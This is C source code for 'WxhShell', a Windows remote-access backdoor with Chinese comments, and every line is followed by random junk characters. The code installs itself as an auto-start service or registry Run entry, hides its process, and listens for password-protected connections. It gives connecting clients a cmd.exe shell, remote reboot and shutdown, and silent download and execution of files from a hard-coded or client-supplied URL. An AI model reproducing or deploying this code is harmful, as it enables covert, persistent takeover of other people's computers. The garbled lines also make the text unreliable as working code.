  case 'd': { ^.\O)K {h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M}#DX=NZc  
    if(Boot(SHUTDOWN)) H?8'(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (.V),NKG  
    else { dXQC}JA  
    closesocket(wsh); 9A} *  
    ExitThread(0); #Xox2{~  
    } FE&:?  
    break; F;8Q`$n  
    } Q=fl!>P  
  // 获取shell %dg[ho  
  case 's': { <Nqbp  
    CmdShell(wsh); {.jW"0U  
    closesocket(wsh); 1^X)vck  
    ExitThread(0); ow{.iv\,u  
    break; -X~|jF  
  } S6JXi>n  
  // 退出 &0q pgl|  
  case 'x': { )Hmf=eoc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vno/V#e$WX  
    CloseIt(wsh);  e]1Zey  
    break; D_0Vu/v  
    } /OzoeI t  
  // 离开 =3w;<1 ?'  
  case 'q': { 9 %4:eTcp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  ;tZQ9#S  
    closesocket(wsh); ^PezV5(  
    WSACleanup(); PC<_1!M]  
    exit(1); @r/~Y]0Ye5  
    break; qJrKt=CE  
        } $=N?[h&4  
  } /B~[,ES@1  
  } J:glJ'4E  
,r;xH}tbi  
  // 提示信息 6{HCF-cQd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u"*DI=pwb  
} Wu/#}Bw#  
  } l[ $bn!_ e  
& rab,I"  
  return; 1VlU'qY  
} fM4B.45j  
jJNCNH*0  
// shell模块句柄 y"q>}5  
int CmdShell(SOCKET sock) _7<{+Zzm  
{ jxkjPf?  
STARTUPINFO si; s{yw1:  
ZeroMemory(&si,sizeof(si)); a~$Y;C_#<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3S7"P$q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z77>W}d  
PROCESS_INFORMATION ProcessInfo; }0Ns&6)xG  
char cmdline[]="cmd"; aYb97}kI  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?V^7`3F  
  return 0; qz>R"pj0g  
} GgG #]a!_f  
pcwYgq#5  
// 自身启动模式 uoI7' :Nv  
int StartFromService(void) +lqGf  
{ pOo016afmA  
typedef struct q -8G  
{ *??lwvJp  
  DWORD ExitStatus; C\GP}:[T3  
  DWORD PebBaseAddress;  |50sGJE(  
  DWORD AffinityMask; ([dd)QU  
  DWORD BasePriority; X$ ZVY2  
  ULONG UniqueProcessId; A!B.+p[ G  
  ULONG InheritedFromUniqueProcessId; 4v hz`1  
}   PROCESS_BASIC_INFORMATION; u6ULk<<\  
()?83Xj[c  
PROCNTQSIP NtQueryInformationProcess; (jDz[b#OPz  
^D$|$=|DH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h&$h<zL[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4>>=TJ!M  
2.Qz"YDh =  
  HANDLE             hProcess; ^0OP&s;"  
  PROCESS_BASIC_INFORMATION pbi; bTaKB-  
i9DD)Y<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M>]A! W=  
  if(NULL == hInst ) return 0; \MOwp@|y  
j,+]tHC-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]$[sfPKA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *kl  :/#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $}gM JG  
k_=yb^6[U  
  if (!NtQueryInformationProcess) return 0; Ptv'.<-  
Ey|_e3Lf[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  Qw}1q!89  
  if(!hProcess) return 0; TB! I  
-$Hu $Y}>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wgS,U }/i  
yQD>7%x  
  CloseHandle(hProcess); SXm%X(JU  
RDp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (O5Yd 6u  
if(hProcess==NULL) return 0; *{DTxEy  
W8^m-B&  
HMODULE hMod; zl|z4j'Irc  
char procName[255]; YOD.y!.zq7  
unsigned long cbNeeded; TQF+aP8[L  
GBbnR:hM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qJrT  
c>B1cR  
  CloseHandle(hProcess); :x*)o+  
T`ibulp  
if(strstr(procName,"services")) return 1; // 以服务启动 "0P`=n  
=Xh)34q  
  return 0; // 注册表启动 @i1e0;\  
} "%gsGtS  
eyCZ[SC  
// 主模块 h^yqrDyJ  
int StartWxhshell(LPSTR lpCmdLine) `GCoi ?n7  
{ FQDf?d5  
  SOCKET wsl; [X.bR$>  
BOOL val=TRUE; 6QX m] <  
  int port=0; `OBzOM  
  struct sockaddr_in door; kt/,& oKI  
Q!e560@  
  if(wscfg.ws_autoins) Install();  6st  
:CyHo6o9  
port=atoi(lpCmdLine); :}lqu24K  
X g6ezlW  
if(port<=0) port=wscfg.ws_port; FPDTw8" B;  
CI'RuR3y]Z  
  WSADATA data; vjuFVJwL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 50^ux:Uv+N  
 p+h$]CH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D(AH3`*|#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6}"c4 ^k6  
  door.sin_family = AF_INET; dI{DiPho  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a[-!X7,IU  
  door.sin_port = htons(port); 69g{oo  
`t~jHe4!Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2s\ClT  
closesocket(wsl); AG N/kx  
return 1; i+*!" /De  
} P=QxfX0B  
9r!8BjA  
  if(listen(wsl,2) == INVALID_SOCKET) { ~zqb{o^pT  
closesocket(wsl); /,Xl8<~#  
return 1; Hc)z:x;Sj  
} {{?g%mQ6  
  Wxhshell(wsl);  )(G9[DG  
  WSACleanup(); HC%Hbc~S_Q  
.A2$C|a*  
return 0; =&WIa#!=  
Ttluh *  
} 8D='N`cN+  
Jj"{C]  
// 以NT服务方式启动 {>f"&I<xw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1@F-t94I  
{ ZEP?~zV\A  
DWORD   status = 0; HL38iXQ( 3  
  DWORD   specificError = 0xfffffff; h: ' |)O  
VfX^iG r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g4IF~\QRVi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lB,1dw2(T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y2u\~.;oq  
  serviceStatus.dwWin32ExitCode     = 0; C0wtMD:G  
  serviceStatus.dwServiceSpecificExitCode = 0; 7*!7EBb  
  serviceStatus.dwCheckPoint       = 0; 1)ue-(o5  
  serviceStatus.dwWaitHint       = 0; uE-(^u  
4ax{Chn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sTM;l,  
  if (hServiceStatusHandle==0) return; T6U/}&{O  
zJe KB8  
status = GetLastError(); oP&/>GmXL  
  if (status!=NO_ERROR) z5E%*]  
{ aSzI5J]/=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `q^#u  
    serviceStatus.dwCheckPoint       = 0; L:$4o  
    serviceStatus.dwWaitHint       = 0; Bm$|XS3cD  
    serviceStatus.dwWin32ExitCode     = status; l4bytI{63  
    serviceStatus.dwServiceSpecificExitCode = specificError; ig,.>'+l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o*cu-j3  
    return; cq1 5@a mX  
  } e97G]XLR  
<xI<^r'C9e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X?5{2ulrI  
  serviceStatus.dwCheckPoint       = 0; Hn|W3U  
  serviceStatus.dwWaitHint       = 0; )4yP(6|lx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); De?VZ2o9"  
} X0/slOT  
NJUKH1lIhR  
// 处理NT服务事件,比如:启动、停止 GWA"!~Hu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^q:-ZgM>  
{ b}[S+G-9W  
switch(fdwControl) 3Z!%td5n  
{ 1EyN |m|  
case SERVICE_CONTROL_STOP: k# [!; <  
  serviceStatus.dwWin32ExitCode = 0; <LHhs <M'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tW\yt~q,  
  serviceStatus.dwCheckPoint   = 0; "r9Rr_, >  
  serviceStatus.dwWaitHint     = 0; w'S,{GW  
  { ;J%:DD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s|=lKa]d!"  
  } Q Be6\oq  
  return; d>QFmsh-  
case SERVICE_CONTROL_PAUSE: HBlk~eZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 50,'z?-_  
  break; !nvwRQ  
case SERVICE_CONTROL_CONTINUE: L5&M@YTH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1- 2hh)  
  break; n(: <pz  
case SERVICE_CONTROL_INTERROGATE: mUYRioNj  
  break; ZT0\V ]!B  
}; P`Np +E#I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pSs*Z6c)@  
} AZj&;!}  
~iL^KeAp   
// 标准应用程序主函数 -`O{iHfM|P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #N|\7(#~u  
{ Un?|RF  
CMt<oT6.?  
// 获取操作系统版本 0=Z[6Q@:  
OsIsNt=GetOsVer(); LrB 0x>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "Ep"$d  
*dl hRa  
  // 从命令行安装 -l^<[%  
  if(strpbrk(lpCmdLine,"iI")) Install(); s,z~qL6&  
honh 'j  
  // 下载执行文件 )U/jD  
if(wscfg.ws_downexe) { ]C_+u_9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +QChD*  
  WinExec(wscfg.ws_filenam,SW_HIDE); d"wA"*8~y  
} I/E9:  
|[\;.gT K  
if(!OsIsNt) { c*bvZC^6  
// 如果时win9x,隐藏进程并且设置为注册表启动 I^NDJdxd  
HideProc(); KC/O EJ`  
StartWxhshell(lpCmdLine); c~ss^[qx|  
} zakhJ  
else r!:yUPv  
  if(StartFromService()) %a%xUce&-X  
  // 以服务方式启动 !_fDL6a-  
  StartServiceCtrlDispatcher(DispatchTable); sSM"~_y\  
else K;F1'5+=D  
  // 普通方式启动 i%2u>N i^  
  StartWxhshell(lpCmdLine); 8$(I! ;  
`DM%a~^yg  
return 0; GppCrQ%Ra|  
} !KHgHKEW^  
;ALWL~Xm  
8^7Oc,:~  
ug3\K83aj/  
=========================================== 09kR2(nsW/  
ww2mL <B  
ztp|FUi  
e@D_0OZ  
cu!%aM,/<-  
jn(x-fj6R  
" c 1YDln  
"@Vyc6L  
#include <stdio.h> *22Vc2[i;  
#include <string.h> j.E=WLKV*  
#include <windows.h> #GzALF97  
#include <winsock2.h> nrac )W  
#include <winsvc.h> t G_4>-Y#w  
#include <urlmon.h> ASqYA1p.  
U1\7Hcs$  
#pragma comment (lib, "Ws2_32.lib") 4 m:h&^`N  
#pragma comment (lib, "urlmon.lib") X[BP0:`t  
kR=sr/{  
#define MAX_USER   100 // 最大客户端连接数 #g{R+#fm  
#define BUF_SOCK   200 // sock buffer Yy*=@qu>g  
#define KEY_BUFF   255 // 输入 buffer VD=H=Ju  
p-4$)w~6i  
#define REBOOT     0   // 重启 mixsJ}e  
#define SHUTDOWN   1   // 关机 <4}m:  
Exb64n-_=  
#define DEF_PORT   5000 // 监听端口 R%UTYRLUn  
0jTReY-W  
#define REG_LEN     16   // 注册表键长度 z8\YMr 6o  
#define SVC_LEN     80   // NT服务名长度 q/O2E<=w*c  
M2Q,&>M   
// 从dll定义API :_e[xB=Yy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IeYYG^V<A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g~hMOI?KK^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2` o @L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B+W7zv  
oE ' P  
// wxhshell配置信息 10S I&O  
struct WSCFG { UtQj<18<  
  int ws_port;         // 监听端口 <)7aNW.  
  char ws_passstr[REG_LEN]; // 口令 b\P:a_vq  
  int ws_autoins;       // 安装标记, 1=yes 0=no uw;Sfx,s  
  char ws_regname[REG_LEN]; // 注册表键名 VF`!ks  
  char ws_svcname[REG_LEN]; // 服务名 5kGniG?T#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {&5lZ<nu8A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *b{IWOSe^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q'OtXs 80  
int ws_downexe;       // 下载执行标记, 1=yes 0=no EBy7wU`S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~I|| "$R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @KQ>DBWQM  
EI_-5TtRD  
}; 1 Pk+zBJ$  
~P3b5 -  
// default Wxhshell configuration BH:A]#_{  
struct WSCFG wscfg={DEF_PORT, MK1\  
    "xuhuanlingzhe", k]m ~DVS  
    1, P$E iD+5#z  
    "Wxhshell", jVff@)_S  
    "Wxhshell", Kg%9&l  
            "WxhShell Service", P:{Aq n~zR  
    "Wrsky Windows CmdShell Service", kL8rqv^  
    "Please Input Your Password: ", ZHTi4JY  
  1, )Zq'r L<  
  "http://www.wrsky.com/wxhshell.exe", ,,Qg"C  
  "Wxhshell.exe" ]?6wU-a  
    }; w6BBu0,KC  
D{(}&8a9  
// 消息定义模块 E;Z(v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +|/0sPW(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M%E<]H2;S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M<-Q8 a~  
char *msg_ws_ext="\n\rExit."; ;,77|]<XE  
char *msg_ws_end="\n\rQuit."; Oiib2Ov  
char *msg_ws_boot="\n\rReboot..."; #b^6>  
char *msg_ws_poff="\n\rShutdown..."; UarLxPQ  
char *msg_ws_down="\n\rSave to "; T]th3*  
p/Pus;*s  
char *msg_ws_err="\n\rErr!"; p9"dm{  
char *msg_ws_ok="\n\rOK!"; V0;"Qa@q  
7_\G|Zd  
char ExeFile[MAX_PATH]; !v8R(  
int nUser = 0; $Cz2b/O  
HANDLE handles[MAX_USER]; s#^0[ Rt  
int OsIsNt; 6 byeO&d  
bdL= ?KS  
SERVICE_STATUS       serviceStatus; VhO+nvd*W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^yW['H6V  
d6n_Hpxw^  
// 函数声明 xJ>5 ol  
int Install(void); D!.c??   
int Uninstall(void); +La2-I  
int DownloadFile(char *sURL, SOCKET wsh); uE1;@Dm+  
int Boot(int flag); )+N{D=YM  
void HideProc(void); o;@~uU  
int GetOsVer(void); pX &bX_F{  
int Wxhshell(SOCKET wsl); /@\`Ibe  
void TalkWithClient(void *cs); T=PqA)Ym  
int CmdShell(SOCKET sock); , 5W7a  
int StartFromService(void); 8?Rp2n*o  
int StartWxhshell(LPSTR lpCmdLine); y8YsS4E^Q  
"^&H9.z,v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _d 6'f8[&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (\ab%M   
U p@^C"  
// 数据结构和表定义 eha|cAq  
SERVICE_TABLE_ENTRY DispatchTable[] = +u|"q+p  
{ >h aihT  
{wscfg.ws_svcname, NTServiceMain}, 9J/[7TzSZ  
{NULL, NULL} YE`Y t  
}; 7qqzL_d>  
8KJUC&`  
// 自我安装 :i&]J$^;  
int Install(void) |R.yuSL)(  
{ -riX=K>$  
  char svExeFile[MAX_PATH]; f#z:ILG=  
  HKEY key; Ch]d\GM  
  strcpy(svExeFile,ExeFile); +zh\W9  
UVux[qX<  
// 如果是win9x系统,修改注册表设为自启动 4EM+Ye  
if(!OsIsNt) { xt}.0dC!/%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O}i+ 1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _eGYwBm  
  RegCloseKey(key); C:J frg`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YrnC'o`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GL?b!4xx  
  RegCloseKey(key); @)d_zWE  
  return 0; LK DfV  
    }  .2&L.  
  } p3vf7eqn  
} W5Jw^,iPd  
else { #1-WiweO  
K 4GuOl  
// 如果是NT以上系统,安装为系统服务 o8X_uKEI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ht>%O7  
if (schSCManager!=0) Q/g!h}>(.  
{ P")I)> Q6  
  SC_HANDLE schService = CreateService p6%Vf  
  ( O14QlIk  
  schSCManager, Z"VP<-  
  wscfg.ws_svcname, U~D~C~\2;  
  wscfg.ws_svcdisp, 0B(s+#s  
  SERVICE_ALL_ACCESS, h/n(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fG1iq<~  
  SERVICE_AUTO_START, vCP[7KhGj  
  SERVICE_ERROR_NORMAL, qb[hKp5K6  
  svExeFile, IL|Q-e}Ol  
  NULL, Lf(( zk:pt  
  NULL, ?9t4>xKn  
  NULL, 1_t+lJI9j  
  NULL, pl).U#7`  
  NULL H^|TV]^;N  
  ); Ah1 9#0  
  if (schService!=0) t#"0^$l=  
  { joI)6c  
  CloseServiceHandle(schService); x/?ET1iGt  
  CloseServiceHandle(schSCManager); 36Lkcda[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1(@$bsgu2  
  strcat(svExeFile,wscfg.ws_svcname); c:m=9>3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f- (i%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %rrA]\C'  
  RegCloseKey(key); !'H$08Ql}  
  return 0; LWCFCkx%  
    } |RL#BKC`  
  } `h@fW- r  
  CloseServiceHandle(schSCManager); \96\!7$@O  
} QdgJNT<=H,  
} ;mEn@@{  
O q$_ q  
return 1; UF7h{V})  
} f|,Kh1{e  
2]vTedSOl  
// 自我卸载 %)7t2D  
int Uninstall(void) s)- ;74(  
{ wj6u,+  
  HKEY key; Hk*1Wrs*  
e' M&Eh  
if(!OsIsNt) { Dy.i^`7\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N" L&Z4Z  
  RegDeleteValue(key,wscfg.ws_regname); l$&~(YE f  
  RegCloseKey(key); Os<E7l zqO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F6}RPk\=i  
  RegDeleteValue(key,wscfg.ws_regname); t~(jA9n  
  RegCloseKey(key); ./ {79  
  return 0; Kn:Ml4[;  
  } Rq}lW.<r  
} N[@H107`  
} o*)Sg6Yk  
else { 8GP17j  
$~1vXe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ketp9}u  
if (schSCManager!=0) bVzi^R"  
{ }O*`I(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @?<[//1  
  if (schService!=0) T)gulP  
  { KFbB}oId  
  if(DeleteService(schService)!=0) { 3'.@aMA@  
  CloseServiceHandle(schService); bVUIeX'  
  CloseServiceHandle(schSCManager); n/skDx TE  
  return 0; k^Qf |  
  } N#l2wT  
  CloseServiceHandle(schService); ?)1Y|W'Rv  
  } xoo,}EY  
  CloseServiceHandle(schSCManager); K\2{SjL:B  
} I Id4w~|  
} FL{?W(M  
5Rl\& G\  
return 1; uj6'T Sl  
} aB6xRn9  
Jx5`0?  
// 从指定url下载文件 eMRH*MyD  
int DownloadFile(char *sURL, SOCKET wsh) VVDN3  
{ upuN$4m&{  
  HRESULT hr; zzZ EX  
char seps[]= "/"; C=+9XfP0  
char *token; ]zlA<w8  
char *file; hiS|&5#  
char myURL[MAX_PATH]; ^;_~ mq.  
char myFILE[MAX_PATH]; ~snj92K  
L"&T3i  
strcpy(myURL,sURL); Z8 v8@Y  
  token=strtok(myURL,seps); _P.I+!w:x  
  while(token!=NULL) ^0.8-RT  
  { 7Jlkn=9e:  
    file=token; a%r!55.   
  token=strtok(NULL,seps); BI:Cm/ >  
  } W q<t+E[  
,Iyc0  
GetCurrentDirectory(MAX_PATH,myFILE); .j:,WF<"l5  
strcat(myFILE, "\\"); FPYk`D  
strcat(myFILE, file); tkctwjD  
  send(wsh,myFILE,strlen(myFILE),0); P{9:XSa%  
send(wsh,"...",3,0); R->x_9y-R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -iiX!@  
  if(hr==S_OK) _uO$=4Sd  
return 0; &DMC\R*j  
else Q~]oN  
return 1; x1eC r_  
(%fQhQ  
} ]u5TvI,C  
Hi09?AX  
// 系统电源模块 QH-CZ6M  
int Boot(int flag) eJo" Z  
{ 2?~nA2+vm  
  HANDLE hToken; tQ9%rb  
  TOKEN_PRIVILEGES tkp; hH`x*:Qja  
Be|! S_Y P  
  if(OsIsNt) { 6RbDc *  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Qbv@}[f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9F807G\4Qt  
    tkp.PrivilegeCount = 1; 4fKvB@O@.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9;L4\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;3/}"yG<p  
if(flag==REBOOT) { ^i8,9T'=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q8$t4_pF  
  return 0;  NAD^10  
} ~5HT _B U=  
else { %<>:$4U@]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $L^%*DkM  
  return 0; 5$ =[x!x  
} tKt}]KHV  
  } 5b:1+5iF-  
  else { ?V2P]|  
if(flag==REBOOT) { Ln# o:"E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6!]@ S|vDX  
  return 0; @_C]5D^J^~  
}  [^ }$u[  
else { ?r !kKMZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4+hNP'e  
  return 0; g!~SHW)l  
} - jZAvb  
} =Q 9^|&6  
lW c[Q1  
return 1; nDvfb* \  
} sc]#T)xG  
qefp3&ls  
// win9x进程隐藏模块 Gt*<Awn8  
void HideProc(void) :z8/iD y  
{ >3/ mV<g f  
'f{13-# X@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q(qm3OxYo  
  if ( hKernel != NULL ) c= t4 gf  
  { c6F?#@?   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =u2~=t=LV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |>(Vo@  
    FreeLibrary(hKernel); 9\Gk)0  
  } h^(U:M=A  
T)e2IXGN  
return; fc~fjtqwvz  
} (/uN+   
H}r]j\  
// 获取操作系统版本 h> bjG  
int GetOsVer(void) 2;sTSGDG  
{ d[?RL&hJO  
  OSVERSIONINFO winfo; 4vL\t uoz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O + aK#eF  
  GetVersionEx(&winfo); qVh?%c1.Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MX]#|hEeQ  
  return 1; Lz1KDXr`)+  
  else |WaWmp(pQ  
  return 0; <*J"6x  
} @rT$}O1?`  
`mcb0  
// 客户端句柄模块 Ei:m@}g  
int Wxhshell(SOCKET wsl) K-]) RIM  
{ WblH}  
  SOCKET wsh; QyA^9@iVs  
  struct sockaddr_in client; #Tc`W_-  
  DWORD myID; Mc c%&j  
0 @#Jz#?  
  while(nUser<MAX_USER) oPs asa  
{ B4un6-<i  
  int nSize=sizeof(client); 2`Bb9&ut>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q.$/I+&j  
  if(wsh==INVALID_SOCKET) return 1; P>q~ocq<  
U>kaQ54/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (A2ga):Pk  
if(handles[nUser]==0) jk`U7 G*  
  closesocket(wsh); ?MywA'N@x  
else .~I:Hcf/  
  nUser++; +ase>'<N#  
  } NdJ]\>5oN,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \ 3E%6L  
\#biwX  
  return 0; 8cfsl lI  
} n=b!c@f4  
$~q{MX&J  
// 关闭 socket /QS Nv  
void CloseIt(SOCKET wsh) 5q4wREh  
{ +9LzDH  
closesocket(wsh); j(I(0Yyh  
nUser--; G-D}J2r=F  
ExitThread(0); Ox ,Rk  
} [.l,#-vp  
Y|mtQ E?c  
// 客户端请求句柄 A]iT uu5p  
void TalkWithClient(void *cs) kK6t|Yn&  
{ elM<S3  
UHV"<9tk  
  SOCKET wsh=(SOCKET)cs; \gT({XU?  
  char pwd[SVC_LEN]; q !}~c  
  char cmd[KEY_BUFF]; !gyW15z'  
char chr[1]; '~yxu$aK  
int i,j; O\q6T7bfRW  
!*DY dqQ/  
  while (nUser < MAX_USER) { M.SF}U  
WTD86A  
if(wscfg.ws_passstr) { y+^KVEw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %a8e_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SIM> Lz  
  //ZeroMemory(pwd,KEY_BUFF); V,zFHXO  
      i=0;  ~9YEb  
  while(i<SVC_LEN) { ?pQ0* O0  
86KK Y2  
  // 设置超时 %*q^i}5)E  
  fd_set FdRead; OtAAzc!dQ  
  struct timeval TimeOut; k{!9 f=^   
  FD_ZERO(&FdRead); [#aJ- Uu  
  FD_SET(wsh,&FdRead); \Dr( /n  
  TimeOut.tv_sec=8; ,W 'P8C  
  TimeOut.tv_usec=0; ;<o?JM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y:zNf?6&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B!x6N"  
BQ,749^S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  f^}n#  
  pwd=chr[0]; 4<<eqxI$|  
  if(chr[0]==0xd || chr[0]==0xa) { Wf?[GO  
  pwd=0; ?W dY{;&  
  break; KWYjN h#*  
  } ?;w`hA3ei  
  i++; \u6.*w5TI  
    } q(46v`u  
 ^0{t  
  // 如果是非法用户,关闭 socket Kl?C[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `o{_+Li9  
} Q4Wz5n1yp7  
HOPl0fY$L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6%9 kc+ 9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Rc93Fb-Zp  
N.|zz)y  
while(1) { D0_CDdW%7  
5%K|dYv^^  
  ZeroMemory(cmd,KEY_BUFF); non5e)w3@  
!mVq+_7]  
      // 自动支持客户端 telnet标准   r^E(GmW  
  j=0; _iA oNT!  
  while(j<KEY_BUFF) {  `uDOIl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5ld?N2<8/  
  cmd[j]=chr[0]; wU/fGg*M2  
  if(chr[0]==0xa || chr[0]==0xd) { .2|(!a9W  
  cmd[j]=0; 1TzwXX7  
  break; $PlMyLu7jc  
  } ;x FB /,  
  j++; /A>nsN?:]  
    } av'[k<  
]:n9MFv  
  // 下载文件 );S8`V  
  if(strstr(cmd,"http://")) { b"Nd8f[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Rw63{b/  
  if(DownloadFile(cmd,wsh)) J`; 9Z  
